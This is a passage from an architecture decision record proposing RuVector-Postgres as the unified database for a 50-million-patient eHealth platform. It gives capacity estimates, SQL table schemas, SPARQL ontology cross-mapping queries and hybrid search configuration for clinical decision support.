Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 0.1 | 2026-02-10 | ruv.io | Initial architecture proposal |\n\n---\n\n## Context\n\n### The 50-Million Patient Data Challenge\n\nHealthcare systems face a convergence of demands that push conventional database architectures past their breaking point. A national-scale eHealth platform serving **50 million patient records** at **2,000+ requests per second** must satisfy four simultaneous pressures:\n\n| Pressure | Requirement | Challenge |\n|----------|-------------|-----------|\n| **Volume** | 50M patients \u00d7 ~20 encounters/yr \u00d7 clinical notes, labs, meds, claims | Terabyte-scale vector storage with sub-100ms search |\n| **Velocity** | 2,000+ RPS sustained, 5,000+ burst during open enrollment | Real-time hybrid search across structured + unstructured data |\n| **Variety** | FHIR R4, HL7v2, X12 837/835, SNOMED CT, ICD-10, LOINC, RxNorm, free-text notes | Unified semantic layer across heterogeneous ontologies |\n| **Regulatory** | HIPAA 45 CFR \u00a7164, HITECH Act, state privacy laws, audit trail mandates | Every query, mutation, and access must be cryptographically auditable |\n\n### Current State Limitations\n\nExisting eHealth platforms rely on a patchwork of specialized systems, each introducing HIPAA surface area and operational complexity:\n\n| Capability | Current Approach | Limitation |\n|------------|-----------------|------------|\n| **Patient Matching** | Probabilistic MPI with string similarity | No semantic understanding of clinical context; 3-8% false match rate |\n| **Clinical Decision Support** | Rule-based engines with manual knowledge bases | Cannot leverage unstructured notes; knowledge decay within months |\n| **Ontology Mapping** | Lookup tables for SNOMED\u2194ICD-10 crosswalks | No hierarchical reasoning; misses partial matches and concept drift |\n| **Fraud Detection** | Batch-mode statistical models with 48-72hr lag | Cannot detect real-time provider network fraud patterns |\n| **Interoperability** | Point-to-point interfaces per trading partner | O(n\u00b2) integration complexity; no semantic normalization |\n| **Clinical Note Search** | Keyword-based full-text search | Misses semantic synonyms (\"heart attack\" vs \"MI\" vs \"STEMI\") |\n| **Patient Similarity** | Cohort matching on demographics only | Ignores clinical trajectory, medication patterns, comorbidity graphs |\n| **Compliance Audit** | Append-only log tables with manual review | No anomaly detection; audit lag measured in days |\n\n### Why RuVector-Postgres\n\nRuVector-Postgres provides a **single unified engine** that collapses this multi-system stack into one PostgreSQL extension:\n\n| RuVector Capability | Replaces | HIPAA Benefit |\n|--------------------|-----------| --------------|\n| `ruvector(384)` vector type + HNSW | Separate vector DB (Pinecone, Weaviate) | One fewer system in BAA scope |\n| `sparsevec(50000)` + BM25 scoring | Elasticsearch/Solr for full-text | Eliminates data replication to search cluster |\n| `ruvector_sparql()` + RDF triple store | Dedicated triple store (Blazegraph, Stardog) | Ontology data stays in-database |\n| `ruvector_poincare_distance()` | Custom Python microservice for hierarchy | No data leaves PostgreSQL |\n| `ruvector_gcn_forward()` / `ruvector_graphsage_forward()` | External GNN service (PyG, DGL) | In-database ML eliminates data export |\n| `ruvector_hybrid_search()` with RRF fusion | Application-level result merging | Search logic auditable as SQL |\n| `ruvector_tenant_create()` + RLS | Custom multi-tenancy middleware | Row-level security enforced by database kernel |\n| `ruvector_healing_worker_start()` | Manual DBA intervention + alerting | Self-healing reduces MTTR from hours to seconds |\n| `ruvector_flash_attention()` | GPU-based attention service | CPU-native attention for clinical note analysis |\n| Coherence Engine (ADR-014) | No equivalent | Structural consistency detection for clinical data |\n\n**Single-engine compliance**: one BAA, one encryption boundary, one audit log, one backup strategy.\n\n---\n\n## Decision\n\n### Adopt RuVector-Postgres as the Unified eHealth Data Platform\n\nWe implement the eHealth platform as a layered architecture with RuVector-Postgres as the sole data engine:\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 EXTERNAL INTERFACES \u2502\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 FHIR R4 \u2502 \u2502 HL7v2 \u2502 \u2502 X12 EDI \u2502 \u2502 Patient Portal \u2502 \u2502\n\u2502 \u2502 Gateway \u2502 \u2502 Gateway \u2502 \u2502 837/835 \u2502 \u2502 (OAuth 2.0) \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502 \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 APPLICATION SERVICES \u2502\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 CDS Engine \u2502 \u2502 Claims \u2502 \u2502 Patient \u2502 \u2502 Analytics & \u2502 \u2502\n\u2502 \u2502 (RAG-based) \u2502 \u2502 Adjudicator \u2502 \u2502 Matching \u2502 \u2502 Population Hlth \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502 \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 RUVECTOR-POSTGRES ENGINE \u2502\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 Hybrid \u2502 \u2502 Graph + \u2502 \u2502 Hyperbolic\u2502 \u2502 GNN \u2502 \u2502 Coherence \u2502 \u2502\n\u2502 \u2502 Search \u2502 \u2502 SPARQL \u2502 \u2502 Embeddings\u2502 \u2502 Layers \u2502 \u2502 Engine \u2502 \u2502\n\u2502 \u2502 (BM25+Vec)\u2502 \u2502 (RDF) \u2502 \u2502 (Poincar\u00e9)\u2502 \u2502 (GCN/GAT) \u2502 \u2502 (Sheaf) \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 Attention \u2502 \u2502 Multi- \u2502 \u2502 Self- \u2502 \u2502 HNSW \u2502 \u2502 Tiered \u2502 \u2502\n\u2502 \u2502 Operators \u2502 \u2502 Tenancy \u2502 \u2502 Healing \u2502 \u2502 Indexing \u2502 \u2502 Quantize \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 POSTGRESQL CLUSTER \u2502\n\u2502 \u2502\n\u2502 Primary (Read/Write) \u2502 Sync Standby \u2502 Async Replica 1 \u2502 Async Replica 2\u2502\n\u2502 RuVector Extension \u2502 Hot Standby \u2502 Read-Only CDS \u2502 Read-Only Anlyt\u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n### Key Architectural Decisions\n\n| # | Decision | Choice | Rationale |\n|---|----------|--------|-----------|\n| 1 | Embedding model | BioClinicalBERT 384-dim | Pre-trained on MIMIC-III + PubMed; 384-dim balances recall vs storage |\n| 2 | Vector index | HNSW (m=24, ef_construction=200) | Sub-10ms ANN at 50M scale; m=24 optimizes for medical recall >0.95 |\n| 3 | Ontology store | RuVector RDF triple store (`ruvector_create_rdf_store`) | In-database SPARQL eliminates external triple store from HIPAA scope |\n| 4 | Hierarchy model | Poincar\u00e9 ball (`ruvector_poincare_distance`) 32-dim | Hyperbolic space preserves ICD-10/SNOMED tree depth with low distortion |\n| 5 | Pathway engine | GCN via `ruvector_gcn_forward` | Clinical pathways as message-passing over patient-encounter-diagnosis graph |\n| 6 | Search strategy | Hybrid BM25+vector via `ruvector_hybrid_search` with RRF fusion | Captures both exact medical terminology and semantic similarity |\n| 7 | Patient similarity | GraphSAGE via `ruvector_graphsage_forward` | Inductive: generalizes to new patients without full re-embedding |\n| 8 | Fraud detection | GAT attention scores via `ruvector_flash_attention` on claims graph | Attention weights reveal anomalous provider-billing relationships |\n| 9 | Disagreement detection | Coherence Engine sheaf Laplacian (ADR-014) | Structural consistency detects medication-diagnosis contradictions |\n| 10 | Tenancy model | Shared isolation + RLS via `ruvector_enable_tenant_rls` | Per-payer isolation with healthcare org hierarchy support |\n| 11 | Rate limiting | Token bucket via `ruvector_tenant_quota_check` | Per-tenant QPS limits prevent noisy-neighbor across health plans |\n\n---\n\n## Data Architecture\n\n### Core Schema\n\nThe platform uses six primary tables, each with dense vector embeddings for semantic search and additional specialized vector types where needed.\n\n#### 1. Patients Table\n\n```sql\nCREATE TABLE patients (\n id BIGSERIAL PRIMARY KEY,\n tenant_id TEXT NOT NULL,\n mrn TEXT NOT NULL, -- Medical Record Number\n fhir_id TEXT UNIQUE, -- FHIR Patient resource ID\n demographics JSONB NOT NULL, -- name, dob, gender, address, contact\n identifiers JSONB, -- SSN hash, insurance IDs, MPI links\n\n -- Dense embedding: BioClinicalBERT over demographics + clinical summary\n embedding ruvector(384) NOT NULL,\n\n -- Hyperbolic embedding: position in patient taxonomy hierarchy\n hierarchy_embed ruvector(32), -- Poincar\u00e9 ball for risk stratification\n\n created_at TIMESTAMPTZ DEFAULT now(),\n updated_at TIMESTAMPTZ DEFAULT now()\n);\n\n-- HNSW index for patient similarity search\nCREATE INDEX idx_patients_embedding ON patients\n USING hnsw (embedding ruvector_cosine_ops)\n WITH (m = 24, ef_construction = 200);\n\n-- Partitioned by tenant for healthcare org isolation\nALTER TABLE patients ENABLE ROW LEVEL SECURITY;\n-- Applied via: SELECT ruvector_enable_tenant_rls('patients', 'tenant_id');\n```\n\n#### 2. Encounters Table\n\n```sql\nCREATE TABLE encounters (\n id BIGSERIAL PRIMARY KEY,\n tenant_id TEXT NOT NULL,\n patient_id BIGINT REFERENCES patients(id),\n fhir_id TEXT UNIQUE,\n encounter_type TEXT NOT NULL, -- inpatient, outpatient, emergency, telehealth\n status TEXT NOT NULL, -- planned, arrived, in-progress, finished\n period_start TIMESTAMPTZ NOT NULL,\n period_end TIMESTAMPTZ,\n diagnoses JSONB, -- array of {code, system, display, rank}\n procedures JSONB, -- array of {code, system, display}\n providers JSONB, -- attending, consulting, referring\n facility_id TEXT,\n\n -- Dense embedding: encounter narrative + diagnoses + procedures\n embedding ruvector(384) NOT NULL,\n\n -- Sparse embedding: BM25-compatible term vector for diagnosis code search\n terms sparsevec(50000),\n\n created_at TIMESTAMPTZ DEFAULT now()\n);\n\nCREATE INDEX idx_encounters_embedding ON encounters\n USING hnsw (embedding ruvector_cosine_ops)\n WITH (m = 24, ef_construction = 200);\n\nCREATE INDEX idx_encounters_patient ON encounters (patient_id, period_start DESC);\n```\n\n#### 3. Clinical Notes Table\n\n```sql\nCREATE TABLE clinical_notes (\n id BIGSERIAL PRIMARY KEY,\n tenant_id TEXT NOT NULL,\n encounter_id BIGINT REFERENCES encounters(id),\n patient_id BIGINT REFERENCES patients(id),\n note_type TEXT NOT NULL, -- progress, discharge, consult, operative, pathology\n author_id TEXT NOT NULL,\n author_role TEXT NOT NULL, -- physician, nurse, specialist\n chunk_index INT NOT NULL DEFAULT 0, -- for notes split into embedding chunks\n chunk_text TEXT NOT NULL, -- the actual chunk content (512-token window)\n\n -- Dense embedding: BioClinicalBERT over chunk_text\n embedding ruvector(384) NOT NULL,\n\n -- Sparse embedding: BM25 term frequencies for keyword search\n terms sparsevec(50000),\n\n signed_at TIMESTAMPTZ,\n created_at TIMESTAMPTZ DEFAULT now()\n);\n\nCREATE INDEX idx_notes_embedding ON clinical_notes\n USING hnsw (embedding ruvector_cosine_ops)\n WITH (m = 24, ef_construction = 200);\n\nCREATE INDEX idx_notes_patient ON clinical_notes (patient_id, created_at DESC);\nCREATE INDEX idx_notes_encounter ON clinical_notes (encounter_id);\n```\n\n#### 4. Medications Table\n\n```sql\nCREATE TABLE medications (\n id BIGSERIAL PRIMARY KEY,\n tenant_id TEXT NOT NULL,\n patient_id BIGINT REFERENCES patients(id),\n encounter_id BIGINT REFERENCES encounters(id),\n rxnorm_code TEXT NOT NULL,\n ndc_code TEXT,\n drug_name TEXT NOT NULL,\n dosage JSONB, -- {value, unit, frequency, route}\n status TEXT NOT NULL, -- active, completed, stopped, on-hold\n prescriber_id TEXT NOT NULL,\n start_date DATE NOT NULL,\n end_date DATE,\n\n -- Dense embedding: drug profile + indication + patient context\n embedding ruvector(384) NOT NULL,\n\n created_at TIMESTAMPTZ DEFAULT now()\n);\n\nCREATE INDEX idx_meds_embedding ON medications\n USING hnsw (embedding ruvector_cosine_ops)\n WITH (m = 24, ef_construction = 200);\n\nCREATE INDEX idx_meds_patient ON medications (patient_id, status, start_date DESC);\nCREATE INDEX idx_meds_rxnorm ON medications (rxnorm_code);\n```\n\n#### 5. Lab Results Table\n\n```sql\nCREATE TABLE lab_results (\n id BIGSERIAL PRIMARY KEY,\n tenant_id TEXT NOT NULL,\n patient_id BIGINT REFERENCES patients(id),\n encounter_id BIGINT REFERENCES encounters(id),\n loinc_code TEXT NOT NULL,\n test_name TEXT NOT NULL,\n value_numeric NUMERIC,\n value_text TEXT,\n unit TEXT,\n reference_range TEXT,\n interpretation TEXT, -- normal, abnormal, critical\n\n -- Dense embedding: test + result + clinical context\n embedding ruvector(384) NOT NULL,\n\n collected_at TIMESTAMPTZ NOT NULL,\n created_at TIMESTAMPTZ DEFAULT now()\n);\n\nCREATE INDEX idx_labs_embedding ON lab_results\n USING hnsw (embedding ruvector_cosine_ops)\n WITH (m = 24, ef_construction = 200);\n\nCREATE INDEX idx_labs_patient ON lab_results (patient_id, collected_at DESC);\nCREATE INDEX idx_labs_loinc ON lab_results (loinc_code);\n```\n\n#### 6. Claims Table\n\n```sql\nCREATE TABLE claims (\n id BIGSERIAL PRIMARY KEY,\n tenant_id TEXT NOT NULL,\n patient_id BIGINT REFERENCES patients(id),\n encounter_id BIGINT REFERENCES encounters(id),\n claim_type TEXT NOT NULL, -- professional, institutional, pharmacy\n status TEXT NOT NULL, -- submitted, pending, adjudicated, denied, paid\n payer_id TEXT NOT NULL,\n provider_id TEXT NOT NULL,\n facility_id TEXT,\n service_date DATE NOT NULL,\n billed_amount NUMERIC(12,2) NOT NULL,\n allowed_amount NUMERIC(12,2),\n paid_amount NUMERIC(12,2),\n diagnosis_codes JSONB, -- [{code, system, pointer}]\n procedure_codes JSONB, -- [{code, system, modifier}]\n\n -- Dense embedding: claim profile for fraud/similarity detection\n embedding ruvector(384) NOT NULL,\n\n submitted_at TIMESTAMPTZ NOT NULL,\n adjudicated_at TIMESTAMPTZ,\n created_at TIMESTAMPTZ DEFAULT now()\n);\n\nCREATE INDEX idx_claims_embedding ON claims\n USING hnsw (embedding ruvector_cosine_ops)\n WITH (m = 24, ef_construction = 200);\n\nCREATE INDEX idx_claims_patient ON claims (patient_id, service_date DESC);\nCREATE INDEX idx_claims_provider ON claims (provider_id, service_date DESC);\nCREATE INDEX idx_claims_status ON claims (status, submitted_at DESC);\n```\n\n### Capacity Calculations\n\n| Table | Rows (50M patients) | Vector Size | Sparse Size | Raw Total |\n|-------|---------------------|-------------|-------------|-----------|\n| `patients` | 50M | 384\u00d74B = 1.5KB | 32\u00d74B = 128B | ~81 GB |\n| `encounters` | 1B (20/patient) | 1.5KB | ~400B avg | ~1.9 TB |\n| `clinical_notes` | 5B (5 chunks/encounter avg) | 1.5KB | ~400B avg | ~9.5 TB |\n| `medications` | 500M (10/patient) | 1.5KB | \u2014 | ~750 GB |\n| `lab_results` | 2B (40/patient) | 1.5KB | \u2014 | ~3.0 TB |\n| `claims` | 2B (40/patient) | 1.5KB | \u2014 | ~3.0 TB |\n| **Total Raw** | **~10.55B rows** | | | **~18.2 TB** |\n\n**With Metadata + Indexes**: ~25.2 TB raw (1.4\u00d7 overhead for HNSW graphs + B-tree indexes + TOAST).\n\n**With Tiered Quantization** (see Scaling Strategy section):\n- Hot tier (recent 2 years): f32 \u2192 ~7 TB\n- Warm tier (2-5 years): SQ8 \u2192 ~1.5 TB (4\u00d7 compression)\n- Cool tier (5-7 years): PQ \u2192 ~600 GB (16\u00d7 compression)\n- Cold tier (7+ years): Binary \u2192 ~200 GB (32\u00d7 compression)\n- **Total after quantization: ~9.3 TB**\n\n### QPS Budget\n\n| Operation | Target RPS | Latency p99 | Cluster Capacity |\n|-----------|-----------|-------------|------------------|\n| Vector search (HNSW k=10) | 800 | <15ms | 4,000/node \u00d7 4 = 16,000 |\n| Hybrid search (BM25+vec) | 400 | <30ms | 2,000/node \u00d7 4 = 8,000 |\n| SPARQL ontology lookup | 200 | <20ms | 3,000/node \u00d7 4 = 12,000 |\n| GNN forward pass | 100 | <50ms | 500/node \u00d7 4 = 2,000 |\n| Claims adjudication | 300 | <100ms | 1,000/node \u00d7 4 = 4,000 |\n| Writes (encounters, notes) | 200 | <50ms | Primary only: 2,000 |\n| **Total** | **2,000** | | **Headroom: 7.5\u00d7** |\n\nA 4-node cluster (1 primary + 1 sync standby + 2 async read replicas) provides **~15,000 QPS read capacity**, delivering 7.5\u00d7 headroom over the 2,000 RPS requirement.\n\n---\n\n## Semantic Interoperability Layer\n\n### Medical Ontology RDF Store\n\nThe platform loads four core medical ontologies into RuVector's in-database RDF triple store, enabling SPARQL-based cross-mapping without external services.\n\n```sql\n-- Initialize the medical ontology store\nSELECT ruvector_create_rdf_store('medical_ontologies');\n```\n\n| Ontology | Triples | Purpose |\n|----------|---------|---------|\n| SNOMED CT | ~1.5M concepts, ~5M relationships \u2192 ~15M triples | Clinical terminology master |\n| ICD-10-CM | ~72K codes, ~150K relationships \u2192 ~500K triples | Diagnosis coding for billing |\n| LOINC | ~98K terms, ~300K relationships \u2192 ~900K triples | Laboratory test identification |\n| RxNorm | ~120K concepts, ~500K relationships \u2192 ~15M triples | Drug normalization |\n| **Total** | | **~31.4M triples** |\n\n#### Loading Ontologies\n\n```sql\n-- Load SNOMED CT from N-Triples export\nSELECT ruvector_load_ntriples('medical_ontologies', pg_read_file('/data/ontologies/snomed_ct.nt'));\n\n-- Load ICD-10 mappings\nSELECT ruvector_load_ntriples('medical_ontologies', pg_read_file('/data/ontologies/icd10cm.nt'));\n\n-- Load LOINC\nSELECT ruvector_load_ntriples('medical_ontologies', pg_read_file('/data/ontologies/loinc.nt'));\n\n-- Load RxNorm\nSELECT ruvector_load_ntriples('medical_ontologies', pg_read_file('/data/ontologies/rxnorm.nt'));\n\n-- Verify loaded data\nSELECT ruvector_rdf_stats('medical_ontologies');\n```\n\n#### SPARQL Cross-Mapping Queries\n\n**Map SNOMED CT diagnosis to ICD-10 billing code:**\n\n```sql\nSELECT ruvector_sparql_json('medical_ontologies', '\n PREFIX snomed: \n PREFIX icd10: \n PREFIX skos: \n\n SELECT ?icd10_code ?icd10_label\n WHERE {\n snomed:22298006 skos:exactMatch ?icd10_concept .\n ?icd10_concept skos:notation ?icd10_code .\n ?icd10_concept skos:prefLabel ?icd10_label .\n }\n');\n-- Maps SNOMED \"Myocardial infarction\" (22298006) \u2192 ICD-10 \"I21.9\"\n```\n\n**Find all drugs in a therapeutic class with contraindications:**\n\n```sql\nSELECT ruvector_sparql_json('medical_ontologies', '\n PREFIX rxn: \n PREFIX ndfrt: \n\n SELECT ?drug ?drug_name ?contraindication\n WHERE {\n ?drug rxn:tty \"SCD\" .\n ?drug rxn:str ?drug_name .\n ?drug ndfrt:has_contraindicated_class ?contra_class .\n ?contra_class skos:prefLabel ?contraindication .\n ?drug rxn:ingredient ?ingredient .\n ?ingredient skos:prefLabel \"metformin\"@en .\n }\n');\n```\n\n**Traverse SNOMED hierarchy to find all children of a concept:**\n\n```sql\nSELECT ruvector_sparql_json('medical_ontologies', '\n PREFIX snomed: \n PREFIX sct: \n\n SELECT ?child ?label\n WHERE {\n ?child sct:is_a+ snomed:73211009 .\n ?child skos:prefLabel ?label .\n }\n LIMIT 100\n');\n-- Finds all descendants of \"Diabetes mellitus\" (73211009)\n```\n\n### Poincar\u00e9 Ball Hyperbolic Embeddings for Ontology Hierarchy\n\nMedical ontologies are fundamentally hierarchical (ICD-10 is a tree, SNOMED CT is a DAG). Euclidean embeddings distort tree structure, but **Poincar\u00e9 ball embeddings** preserve parent-child distance with logarithmic fidelity.\n\n```sql\n-- Embed ICD-10 codes in 32-dim Poincar\u00e9 ball\n-- Parent codes are closer to origin, leaf codes at boundary\n-- Distance preserves hierarchical depth\n\n-- Compute hyperbolic distance between two ICD-10 concepts\nSELECT ruvector_poincare_distance(\n icd10_a.hierarchy_embed,\n icd10_b.hierarchy_embed\n) AS hierarchical_distance\nFROM icd10_embeddings icd10_a, icd10_embeddings icd10_b\nWHERE icd10_a.code = 'I21' -- Acute myocardial infarction (parent)\n AND icd10_b.code = 'I21.01'; -- STEMI of LAD (child)\n-- Expected: small distance (parent-child)\n\n-- M\u00f6bius addition for concept composition in hyperbolic space\nSELECT ruvector_mobius_add(\n diabetes_embed,\n retinopathy_embed\n) AS composed_concept\nFROM concept_embeddings\nWHERE code IN ('E11', 'H35.0');\n-- Combines \"Type 2 Diabetes\" + \"Retinopathy\" \u2192 diabetic retinopathy region\n\n-- Map between coordinate systems for different algorithms\nSELECT ruvector_poincare_to_lorentz(hierarchy_embed) AS lorentz_coords\nFROM patients WHERE id = 12345;\n\n-- Exponential map: project Euclidean gradient into Poincar\u00e9 ball\nSELECT ruvector_exp_map(tangent_vector, base_point) AS poincare_point\nFROM optimization_step;\n\n-- Logarithmic map: map Poincar\u00e9 point back to tangent space\nSELECT ruvector_log_map(poincare_point, base_point) AS tangent_vector\nFROM gradient_computation;\n```\n\n**Why 32 dimensions for hierarchy embeddings**: Poincar\u00e9 embeddings achieve near-perfect reconstruction of tree structures in low dimensions. 32-dim provides sufficient capacity for ICD-10's ~72K codes (max depth 7) while keeping the per-row overhead at 128 bytes.\n\n---\n\n## Clinical AI Pipeline\n\n### RAG-Based Clinical Decision Support\n\nThe CDS engine uses Retrieval-Augmented Generation over clinical notes, combining BM25 keyword matching with semantic vector search for maximum recall.\n\n#### Hybrid Search for Clinical Context Retrieval\n\n```sql\n-- Register the clinical notes collection for hybrid search\nSELECT ruvector_register_hybrid(\n 'clinical_notes', -- collection name\n 'embedding', -- vector column\n 'terms', -- full-text search column (sparsevec)\n 'chunk_text' -- text column for BM25 scoring\n);\n\n-- Configure hybrid search parameters\nSELECT ruvector_hybrid_configure('clinical_notes', '{\n \"bm25_k1\": 1.2,\n \"bm25_b\": 0.75,\n \"default_fusion\": \"rrf\",\n \"rrf_k\": 60,\n \"vector_weight\": 0.6,\n \"keyword_weight\": 0.4\n}'::jsonb);\n\n-- CDS query: find relevant clinical context for a suspected MI patient\nSELECT * FROM ruvector_hybrid_search(\n 'clinical_notes', -- collection\n 'chest pain radiating to left arm elevated troponin', -- query text (BM25)\n embed('chest pain radiating to left arm elevated troponin'), -- query vector\n 20, -- k results\n 'rrf', -- fusion: rrf | linear | learned\n 0.6 -- alpha (vector weight)\n)\nWHERE tenant_id = current_setting('app.tenant_id');\n```\n\nThe hybrid search pipeline:\n1. **BM25 path**: Tokenizes query \u2192 scores against `sparsevec` term vectors \u2192 returns top-k by BM25 score\n2. **Vector path**: Encodes query with 